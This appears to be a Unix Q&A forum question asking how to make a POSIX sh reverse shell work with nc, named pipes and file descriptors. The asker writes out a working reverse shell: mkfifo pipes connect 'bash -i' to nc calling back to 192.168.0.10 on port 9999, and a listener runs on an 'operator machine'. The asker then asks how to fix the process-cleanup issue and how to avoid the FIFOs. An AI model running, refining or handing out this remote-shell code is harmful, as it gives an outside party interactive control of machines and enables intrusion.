I am trying to do something like this on a POSIX compliance way using nc
, following the second example given here, it must run on sh
(can be tested on dash
or busybox' ash
, but not on bash
).
I have done the following:
# on operator machine
nc -lvp 9999
# on remote machine
out="/tmp/.$$.out"
in="/tmp/.$$.in"
mkfifo "$out" "$in"
trap 'rm "$out" "$in"' EXIT
# nc 192.168.0.10 9999 > "$out" 0< "$in" &
cat "$in" | nc 192.168.0.10 9999 | cat > "$out" &
bash -i > "$in" 2>&1 0< "$out"
I have two questions, please, answer both:
As you can see I have tried to do
nc 192.168.0.10 9999 > "$out" 0< "$in"
but I do not known why the heck it didn't worked with file redirection, the command freezes, the process isn't even launched, I have tried with pipe on input only and also on output only, but neither way worked. The downside with thiscat
solution is when you exit the command after connected on operator machine it still keeps the process alive on remote machine, requiring to be killed. I want to know why redirection solution didn't work? And how to solve the exit issue? Even though thecat
solution is not the most elegant one, if it manage to work it would be acceptable.Is there a way to do this two-way I/O redirect using fd instead of
mkfifo
? For instance, usingexec 3> dummy
? Remembering it must be POSIX compliance so>(:)
is unacceptable.
If the fd solution is possible, it is not required to make the mkfifo
solution to work, but I still would be glade to know why the file redirection didn't work.